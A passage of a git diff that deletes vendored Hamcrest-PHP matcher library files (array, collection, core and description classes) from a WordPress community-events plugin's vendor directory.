\Hamcrest\Text\StringStartsWith::startsWith($substring); - } -} - -if (!function_exists('arrayValue')) { - /** - * Is the value an array? - */ - function arrayValue() - { - return \Hamcrest\Type\IsArray::arrayValue(); - } -} - -if (!function_exists('booleanValue')) { - /** - * Is the value a boolean? - */ - function booleanValue() - { - return \Hamcrest\Type\IsBoolean::booleanValue(); - } -} - -if (!function_exists('boolValue')) { - /** - * Is the value a boolean? - */ - function boolValue() - { - return \Hamcrest\Type\IsBoolean::booleanValue(); - } -} - -if (!function_exists('callableValue')) { - /** - * Is the value callable? - */ - function callableValue() - { - return \Hamcrest\Type\IsCallable::callableValue(); - } -} - -if (!function_exists('doubleValue')) { - /** - * Is the value a float/double? - */ - function doubleValue() - { - return \Hamcrest\Type\IsDouble::doubleValue(); - } -} - -if (!function_exists('floatValue')) { - /** - * Is the value a float/double? - */ - function floatValue() - { - return \Hamcrest\Type\IsDouble::doubleValue(); - } -} - -if (!function_exists('integerValue')) { - /** - * Is the value an integer? - */ - function integerValue() - { - return \Hamcrest\Type\IsInteger::integerValue(); - } -} - -if (!function_exists('intValue')) { - /** - * Is the value an integer? - */ - function intValue() - { - return \Hamcrest\Type\IsInteger::integerValue(); - } -} - -if (!function_exists('numericValue')) { - /** - * Is the value a numeric? - */ - function numericValue() - { - return \Hamcrest\Type\IsNumeric::numericValue(); - } -} - -if (!function_exists('objectValue')) { - /** - * Is the value an object? - */ - function objectValue() - { - return \Hamcrest\Type\IsObject::objectValue(); - } -} - -if (!function_exists('anObject')) { - /** - * Is the value an object? - */ - function anObject() - { - return \Hamcrest\Type\IsObject::objectValue(); - } -} - -if (!function_exists('resourceValue')) { - /** - * Is the value a resource? - */ - function resourceValue() - { - return \Hamcrest\Type\IsResource::resourceValue(); - } -} - -if (!function_exists('scalarValue')) { - /** - * Is the value a scalar (boolean, integer, double, or string)? - */ - function scalarValue() - { - return \Hamcrest\Type\IsScalar::scalarValue(); - } -} - -if (!function_exists('stringValue')) { - /** - * Is the value a string? - */ - function stringValue() - { - return \Hamcrest\Type\IsString::stringValue(); - } -} - -if (!function_exists('hasXPath')) { - /** - * Wraps $matcher with {@link Hamcrest\Core\IsEqual) - * if it's not a matcher and the XPath in count() - * if it's an integer. - */ - function hasXPath($xpath, $matcher = null) - { - return \Hamcrest\Xml\HasXPath::hasXPath($xpath, $matcher); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArray.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArray.php deleted file mode 100644 index 9ea56970..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArray.php +++ /dev/null @@ -1,118 +0,0 @@ -_elementMatchers = $elementMatchers; - } - - protected function matchesSafely($array) - { - if (array_keys($array) != array_keys($this->_elementMatchers)) { - return false; - } - - /** @var $matcher \Hamcrest\Matcher */ - foreach ($this->_elementMatchers as $k => $matcher) { - if (!$matcher->matches($array[$k])) { - return false; - } - } - - return true; - } - - protected function describeMismatchSafely($actual, Description $mismatchDescription) - { - if (count($actual) != count($this->_elementMatchers)) { - $mismatchDescription->appendText('array length was ' . count($actual)); - - return; - } elseif (array_keys($actual) != array_keys($this->_elementMatchers)) { - $mismatchDescription->appendText('array keys were ') - ->appendValueList( - $this->descriptionStart(), - $this->descriptionSeparator(), - $this->descriptionEnd(), - array_keys($actual) - ) - ; - - return; - } - - /** @var $matcher \Hamcrest\Matcher */ - foreach ($this->_elementMatchers as $k => $matcher) { - if (!$matcher->matches($actual[$k])) { - $mismatchDescription->appendText('element ')->appendValue($k) - ->appendText(' was ')->appendValue($actual[$k]); - - return; - } - } - } - - public function describeTo(Description $description) - { - $description->appendList( - $this->descriptionStart(), - $this->descriptionSeparator(), - $this->descriptionEnd(), - $this->_elementMatchers - ); - } - - /** - * Evaluates to true only if each $matcher[$i] is satisfied by $array[$i]. - * - * @factory ... - */ - public static function anArray(/* args... */) - { - $args = func_get_args(); - - return new self(Util::createMatcherArray($args)); - } - - // -- Protected Methods - - protected function descriptionStart() - { - return '['; - } - - protected function descriptionSeparator() - { - return ', '; - } - - protected function descriptionEnd() - { - return ']'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContaining.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContaining.php deleted file mode 100644 index 0e4a1eda..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContaining.php +++ /dev/null @@ -1,63 +0,0 @@ -_elementMatcher = $elementMatcher; - } - - protected function matchesSafely($array) - { - foreach ($array as $element) { - if ($this->_elementMatcher->matches($element)) { - return true; - } - } - - return false; - } - - protected function describeMismatchSafely($array, Description $mismatchDescription) - { - $mismatchDescription->appendText('was ')->appendValue($array); - } - - public function describeTo(Description $description) - { - $description - ->appendText('an array containing ') - ->appendDescriptionOf($this->_elementMatcher) - ; - } - - /** - * Evaluates to true if any item in an array satisfies the given matcher. - * - * @param mixed $item as a {@link Hamcrest\Matcher} or a value. - * - * @return \Hamcrest\Arrays\IsArrayContaining - * @factory hasValue - */ - public static function hasItemInArray($item) - { - return new self(Util::wrapValueWithIsEqual($item)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInAnyOrder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInAnyOrder.php deleted file mode 100644 index 9009026b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInAnyOrder.php +++ /dev/null @@ -1,59 +0,0 @@ -_elementMatchers = $elementMatchers; - } - - protected function matchesSafelyWithDiagnosticDescription($array, Description $mismatchDescription) - { - $matching = new MatchingOnce($this->_elementMatchers, $mismatchDescription); - - foreach ($array as $element) { - if (!$matching->matches($element)) { - return false; - } - } - - return $matching->isFinished($array); - } - - public function describeTo(Description $description) - { - $description->appendList('[', ', ', ']', $this->_elementMatchers) - ->appendText(' in any order') - ; - } - - /** - * An array with elements that match the given matchers. - * - * @factory containsInAnyOrder ... - */ - public static function arrayContainingInAnyOrder(/* args... */) - { - $args = func_get_args(); - - return new self(Util::createMatcherArray($args)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInOrder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInOrder.php deleted file mode 100644 index 61157404..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInOrder.php +++ /dev/null @@ -1,57 +0,0 @@ -_elementMatchers = $elementMatchers; - } - - protected function matchesSafelyWithDiagnosticDescription($array, Description $mismatchDescription) - { - $series = new SeriesMatchingOnce($this->_elementMatchers, $mismatchDescription); - - foreach ($array as $element) { - if (!$series->matches($element)) { - return false; - } - } - - return $series->isFinished(); - } - - public function describeTo(Description $description) - { - $description->appendList('[', ', ', ']', $this->_elementMatchers); - } - - /** - * An array with elements that match the given matchers in the same order. - * - * @factory contains ... - */ - public static function arrayContaining(/* args... */) - { - $args = func_get_args(); - - return new self(Util::createMatcherArray($args)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKey.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKey.php deleted file mode 100644 index 523477e7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKey.php +++ /dev/null @@ -1,75 +0,0 @@ -_keyMatcher = $keyMatcher; - } - - protected function matchesSafely($array) - { - foreach ($array as $key => $element) { - if ($this->_keyMatcher->matches($key)) { - return true; - } - } - - return false; - } - - protected function describeMismatchSafely($array, Description $mismatchDescription) - { - //Not using appendValueList() so that keys can be shown - $mismatchDescription->appendText('array was ') - ->appendText('[') - ; - $loop = false; - foreach ($array as $key => $value) { - if ($loop) { - $mismatchDescription->appendText(', '); - } - $mismatchDescription->appendValue($key)->appendText(' => ')->appendValue($value); - $loop = true; - } - $mismatchDescription->appendText(']'); - } - - public function describeTo(Description $description) - { - $description - ->appendText('array with key ') - ->appendDescriptionOf($this->_keyMatcher) - ; - } - - /** - * Evaluates to true if any key in an array matches the given matcher. - * - * @param mixed $key as a {@link Hamcrest\Matcher} or a value. - * - * @return \Hamcrest\Arrays\IsArrayContainingKey - * @factory hasKey - */ - public static function hasKeyInArray($key) - { - return new self(Util::wrapValueWithIsEqual($key)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKeyValuePair.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKeyValuePair.php deleted file mode 100644 index 9ac3eba8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKeyValuePair.php +++ /dev/null @@ -1,80 +0,0 @@ -_keyMatcher = $keyMatcher; - $this->_valueMatcher = $valueMatcher; - } - - protected function matchesSafely($array) - { - foreach ($array as $key => $value) { - if ($this->_keyMatcher->matches($key) && $this->_valueMatcher->matches($value)) { - return true; - } - } - - return false; - } - - protected function describeMismatchSafely($array, Description $mismatchDescription) - { - //Not using appendValueList() so that keys can be shown - $mismatchDescription->appendText('array was ') - ->appendText('[') - ; - $loop = false; - foreach ($array as $key => $value) { - if ($loop) { - $mismatchDescription->appendText(', '); - } - $mismatchDescription->appendValue($key)->appendText(' => ')->appendValue($value); - $loop = true; - } - $mismatchDescription->appendText(']'); - } - - public function describeTo(Description $description) - { - $description->appendText('array containing [') - ->appendDescriptionOf($this->_keyMatcher) - ->appendText(' => ') - ->appendDescriptionOf($this->_valueMatcher) - ->appendText(']') - ; - } - - /** - * Test if an array has both an key and value in parity with each other. - * - * @factory hasEntry - */ - public static function hasKeyValuePair($key, $value) - { - return new self( - Util::wrapValueWithIsEqual($key), - Util::wrapValueWithIsEqual($value) - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayWithSize.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayWithSize.php deleted file mode 100644 index 074375ce..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayWithSize.php +++ /dev/null @@ -1,73 +0,0 @@ -_elementMatchers = $elementMatchers; - $this->_mismatchDescription = $mismatchDescription; - } - - public function matches($item) - { - return $this->_isNotSurplus($item) && $this->_isMatched($item); - } - - public function isFinished($items) - { - if (empty($this->_elementMatchers)) { - return true; - } - - $this->_mismatchDescription - ->appendText('No item matches: ')->appendList('', ', ', '', $this->_elementMatchers) - ->appendText(' in ')->appendValueList('[', ', ', ']', $items) - ; - - return false; - } - - // -- Private Methods - - private function _isNotSurplus($item) - { - if (empty($this->_elementMatchers)) { - $this->_mismatchDescription->appendText('Not matched: ')->appendValue($item); - - return false; - } - - return true; - } - - private function _isMatched($item) - { - /** @var $matcher \Hamcrest\Matcher */ - foreach ($this->_elementMatchers as $i => $matcher) { - if ($matcher->matches($item)) { - unset($this->_elementMatchers[$i]); - - return true; - } - } - - $this->_mismatchDescription->appendText('Not matched: ')->appendValue($item); - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/SeriesMatchingOnce.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/SeriesMatchingOnce.php deleted file mode 100644 index 12a912d8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/SeriesMatchingOnce.php +++ /dev/null @@ -1,75 +0,0 @@ -_elementMatchers = $elementMatchers; - $this->_keys = array_keys($elementMatchers); - $this->_mismatchDescription = $mismatchDescription; - } - - public function matches($item) - { - return $this->_isNotSurplus($item) && $this->_isMatched($item); - } - - public function isFinished() - { - if (!empty($this->_elementMatchers)) { - $nextMatcher = current($this->_elementMatchers); - $this->_mismatchDescription->appendText('No item matched: ')->appendDescriptionOf($nextMatcher); - - return false; - } - - return true; - } - - // -- Private Methods - - private function _isNotSurplus($item) - { - if (empty($this->_elementMatchers)) { - $this->_mismatchDescription->appendText('Not matched: ')->appendValue($item); - - return false; - } - - return true; - } - - private function _isMatched($item) - { - $this->_nextMatchKey = array_shift($this->_keys); - $nextMatcher = array_shift($this->_elementMatchers); - - if (!$nextMatcher->matches($item)) { - $this->_describeMismatch($nextMatcher, $item); - - return false; - } - - return true; - } - - private function _describeMismatch(Matcher $matcher, $item) - { - $this->_mismatchDescription->appendText('item with key ' . $this->_nextMatchKey . ': '); - $matcher->describeMismatch($item, $this->_mismatchDescription); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/AssertionError.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/AssertionError.php deleted file mode 100644 index 3a2a0e7c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/AssertionError.php +++ /dev/null @@ -1,10 +0,0 @@ -append($text); - - return $this; - } - - public function appendDescriptionOf(SelfDescribing $value) - { - $value->describeTo($this); - - return $this; - } - - public function appendValue($value) - { - if (is_null($value)) { - $this->append('null'); - } elseif (is_string($value)) { - $this->_toPhpSyntax($value); - } elseif (is_float($value)) { - $this->append('<'); - $this->append($value); - $this->append('F>'); - } elseif (is_bool($value)) { - $this->append('<'); - $this->append($value ? 'true' : 'false'); - $this->append('>'); - } elseif (is_array($value) || $value instanceof \Iterator || $value instanceof \IteratorAggregate) { - $this->appendValueList('[', ', ', ']', $value); - } elseif (is_object($value) && !method_exists($value, '__toString')) { - $this->append('<'); - $this->append(get_class($value)); - $this->append('>'); - } else { - $this->append('<'); - $this->append($value); - $this->append('>'); - } - - return $this; - } - - public function appendValueList($start, $separator, $end, $values) - { - $list = array(); - foreach ($values as $v) { - $list[] = new SelfDescribingValue($v); - } - - $this->appendList($start, $separator, $end, $list); - - return $this; - } - - public function appendList($start, $separator, $end, $values) - { - $this->append($start); - - $separate = false; - - foreach ($values as $value) { - /*if (!($value instanceof Hamcrest\SelfDescribing)) { - $value = new Hamcrest\Internal\SelfDescribingValue($value); - }*/ - - if ($separate) { - $this->append($separator); - } - - $this->appendDescriptionOf($value); - - $separate = true; - } - - $this->append($end); - - return $this; - } - - // -- Protected Methods - - /** - * Append the String $str to the description. - */ - abstract protected function append($str); - - // -- Private Methods - - private function _toPhpSyntax($value) - { - $str = '"'; - for ($i = 0, $len = strlen($value); $i < $len; ++$i) { - switch ($value[$i]) { - case '"': - $str .= '\\"'; - break; - - case "\t": - $str .= '\\t'; - break; - - case "\r": - $str .= '\\r'; - break; - - case "\n": - $str .= '\\n'; - break; - - default: - $str .= $value[$i]; - } - } - $str .= '"'; - $this->append($str); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/BaseMatcher.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/BaseMatcher.php deleted file mode 100644 index 06055698..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/BaseMatcher.php +++ /dev/null @@ -1,30 +0,0 @@ -appendText('was ')->appendValue($item); - } - - public function __toString() - { - return StringDescription::toString($this); - } - - public function __invoke() - { - return call_user_func_array(array($this, 'matches'), func_get_args()); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsEmptyTraversable.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsEmptyTraversable.php deleted file mode 100644 index 8ab58ea5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsEmptyTraversable.php +++ /dev/null @@ -1,71 +0,0 @@ -_empty = $empty; - } - - public function matches($item) - { - if (!$item instanceof \Traversable) { - return false; - } - - foreach ($item as $value) { - return !$this->_empty; - } - - return $this->_empty; - } - - public function describeTo(Description $description) - { - $description->appendText($this->_empty ? 'an empty traversable' : 'a non-empty traversable'); - } - - /** - * Returns true if traversable is empty. - * - * @factory - */ - public static function emptyTraversable() - { - if (!self::$_INSTANCE) { - self::$_INSTANCE = new self; - } - - return self::$_INSTANCE; - } - - /** - * Returns true if traversable is not empty. - * - * @factory - */ - public static function nonEmptyTraversable() - { - if (!self::$_NOT_INSTANCE) { - self::$_NOT_INSTANCE = new self(false); - } - - return self::$_NOT_INSTANCE; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsTraversableWithSize.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsTraversableWithSize.php deleted file mode 100644 index c95edc5c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsTraversableWithSize.php +++ /dev/null @@ -1,47 +0,0 @@ -false. - */ -class AllOf extends DiagnosingMatcher -{ - - private $_matchers; - - public function __construct(array $matchers) - { - Util::checkAllAreMatchers($matchers); - - $this->_matchers = $matchers; - } - - public function matchesWithDiagnosticDescription($item, Description $mismatchDescription) - { - /** @var $matcher \Hamcrest\Matcher */ - foreach ($this->_matchers as $matcher) { - if (!$matcher->matches($item)) { - $mismatchDescription->appendDescriptionOf($matcher)->appendText(' '); - $matcher->describeMismatch($item, $mismatchDescription); - - return false; - } - } - - return true; - } - - public function describeTo(Description $description) - { - $description->appendList('(', ' and ', ')', $this->_matchers); - } - - /** - * Evaluates to true only if ALL of the passed in matchers evaluate to true. - * - * @factory ... - */ - public static function allOf(/* args... */) - { - $args = func_get_args(); - - return new self(Util::createMatcherArray($args)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/AnyOf.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/AnyOf.php deleted file mode 100644 index 4504279f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/AnyOf.php +++ /dev/null @@ -1,58 +0,0 @@ -true. - */ -class AnyOf extends ShortcutCombination -{ - - public function __construct(array $matchers) - { - parent::__construct($matchers); - } - - public function matches($item) - { - return $this->matchesWithShortcut($item, true); - } - - public function describeTo(Description $description) - { - $this->describeToWithOperator($description, 'or'); - } - - /** - * Evaluates to true if ANY of the passed in matchers evaluate to true. - * - * @factory ... - */ - public static function anyOf(/* args... */) - { - $args = func_get_args(); - - return new self(Util::createMatcherArray($args)); - } - - /** - * Evaluates to false if ANY of the passed in matchers evaluate to true. - * - * @factory ... - */ - public static function noneOf(/* args... */) - { - $args = func_get_args(); - - return IsNot::not( - new self(Util::createMatcherArray($args)) - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/CombinableMatcher.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/CombinableMatcher.php deleted file mode 100644 index e3b4aa78..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/CombinableMatcher.php +++ /dev/null @@ -1,78 +0,0 @@ -_matcher = $matcher; - } - - public function matches($item) - { - return $this->_matcher->matches($item); - } - - public function describeTo(Description $description) - { - $description->appendDescriptionOf($this->_matcher); - } - - /** Diversion from Hamcrest-Java... Logical "and" not permitted */ - public function andAlso(Matcher $other) - { - return new self(new AllOf($this->_templatedListWith($other))); - } - - /** Diversion from Hamcrest-Java... Logical "or" not permitted */ - public function orElse(Matcher $other) - { - return new self(new AnyOf($this->_templatedListWith($other))); - } - - /** - * This is useful for fluently combining matchers that must both pass. - * For example: - *
-     *   assertThat($string, both(containsString("a"))->andAlso(containsString("b")));
-     * 
- * - * @factory - */ - public static function both(Matcher $matcher) - { - return new self($matcher); - } - - /** - * This is useful for fluently combining matchers where either may pass, - * for example: - *
-     *   assertThat($string, either(containsString("a"))->orElse(containsString("b")));
-     * 
- * - * @factory - */ - public static function either(Matcher $matcher) - { - return new self($matcher); - } - - // -- Private Methods - - private function _templatedListWith(Matcher $other) - { - return array($this->_matcher, $other); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/DescribedAs.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/DescribedAs.php deleted file mode 100644 index 5b2583fa..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/DescribedAs.php +++ /dev/null @@ -1,68 +0,0 @@ -_descriptionTemplate = $descriptionTemplate; - $this->_matcher = $matcher; - $this->_values = $values; - } - - public function matches($item) - { - return $this->_matcher->matches($item); - } - - public function describeTo(Description $description) - { - $textStart = 0; - while (preg_match(self::ARG_PATTERN, $this->_descriptionTemplate, $matches, PREG_OFFSET_CAPTURE, $textStart)) { - $text = $matches[0][0]; - $index = $matches[1][0]; - $offset = $matches[0][1]; - - $description->appendText(substr($this->_descriptionTemplate, $textStart, $offset - $textStart)); - $description->appendValue($this->_values[$index]); - - $textStart = $offset + strlen($text); - } - - if ($textStart < strlen($this->_descriptionTemplate)) { - $description->appendText(substr($this->_descriptionTemplate, $textStart)); - } - } - - /** - * Wraps an existing matcher and overrides the description when it fails. - * - * @factory ... - */ - public static function describedAs(/* $description, Hamcrest\Matcher $matcher, $values... */) - { - $args = func_get_args(); - $description = array_shift($args); - $matcher = array_shift($args); - $values = $args; - - return new self($description, $matcher, $values); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Every.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Every.php deleted file mode 100644 index d686f8da..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Every.php +++ /dev/null @@ -1,56 +0,0 @@ -_matcher = $matcher; - } - - protected function matchesSafelyWithDiagnosticDescription($items, Description $mismatchDescription) - { - foreach ($items as $item) { - if (!$this->_matcher->matches($item)) { - $mismatchDescription->appendText('an item '); - $this->_matcher->describeMismatch($item, $mismatchDescription); - - return false; - } - } - - return true; - } - - public function describeTo(Description $description) - { - $description->appendText('every item is ')->appendDescriptionOf($this->_matcher); - } - - /** - * @param Matcher $itemMatcher - * A matcher to apply to every element in an array. - * - * @return \Hamcrest\Core\Every - * Evaluates to TRUE for a collection in which every item matches $itemMatcher - * - * @factory - */ - public static function everyItem(Matcher $itemMatcher) - { - return new self($itemMatcher); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/HasToString.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/HasToString.php deleted file mode 100644 index 45bd9102..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/HasToString.php +++ /dev/null @@ -1,56 +0,0 @@ -toString(); - } - - return (string) $actual; - } - - /** - * Does array size satisfy a given matcher? - * - * @factory - */ - public static function hasToString($matcher) - { - return new self(Util::wrapValueWithIsEqual($matcher)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Is.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Is.php deleted file mode 100644 index 41266dc1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Is.php +++ /dev/null @@ -1,57 +0,0 @@ -_matcher = $matcher; - } - - public function matches($arg) - { - return $this->_matcher->matches($arg); - } - - public function describeTo(Description $description) - { - $description->appendText('is ')->appendDescriptionOf($this->_matcher); - } - - public function describeMismatch($item, Description $mismatchDescription) - { - $this->_matcher->describeMismatch($item, $mismatchDescription); - } - - /** - * Decorates another Matcher, retaining the behavior but allowing tests - * to be slightly more expressive. - * - * For example: assertThat($cheese, equalTo($smelly)) - * vs. assertThat($cheese, is(equalTo($smelly))) - * - * @factory - */ - public static function is($value) - { - return new self(Util::wrapValueWithIsEqual($value)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsAnything.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsAnything.php deleted file mode 100644 index f20e6c0d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsAnything.php +++ /dev/null @@ -1,45 +0,0 @@ -true. - */ -class IsAnything extends BaseMatcher -{ - - private $_message; - - public function __construct($message = 'ANYTHING') - { - $this->_message = $message; - } - - public function matches($item) - { - return true; - } - - public function describeTo(Description $description) - { - $description->appendText($this->_message); - } - - /** - * This matcher always evaluates to true. - * - * @param string $description A meaningful string used when describing itself. - * - * @return \Hamcrest\Core\IsAnything - * @factory - */ - public static function anything($description = 'ANYTHING') - { - return new self($description); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsCollectionContaining.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsCollectionContaining.php deleted file mode 100644 index 5e60426d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsCollectionContaining.php +++ /dev/null @@ -1,93 +0,0 @@ -_elementMatcher = $elementMatcher; - } - - protected function matchesSafely($items) - { - foreach ($items as $item) { - if ($this->_elementMatcher->matches($item)) { - return true; - } - } - - return false; - } - - protected function describeMismatchSafely($items, Description $mismatchDescription) - { - $mismatchDescription->appendText('was ')->appendValue($items); - } - - public function describeTo(Description $description) - { - $description - ->appendText('a collection containing ') - ->appendDescriptionOf($this->_elementMatcher) - ; - } - - /** - * Test if the value is an array containing this matcher. - * - * Example: - *
-     * assertThat(array('a', 'b'), hasItem(equalTo('b')));
-     * //Convenience defaults to equalTo()
-     * assertThat(array('a', 'b'), hasItem('b'));
-     * 
- * - * @factory ... - */ - public static function hasItem() - { - $args = func_get_args(); - $firstArg = array_shift($args); - - return new self(Util::wrapValueWithIsEqual($firstArg)); - } - - /** - * Test if the value is an array containing elements that match all of these - * matchers. - * - * Example: - *
-     * assertThat(array('a', 'b', 'c'), hasItems(equalTo('a'), equalTo('b')));
-     * 
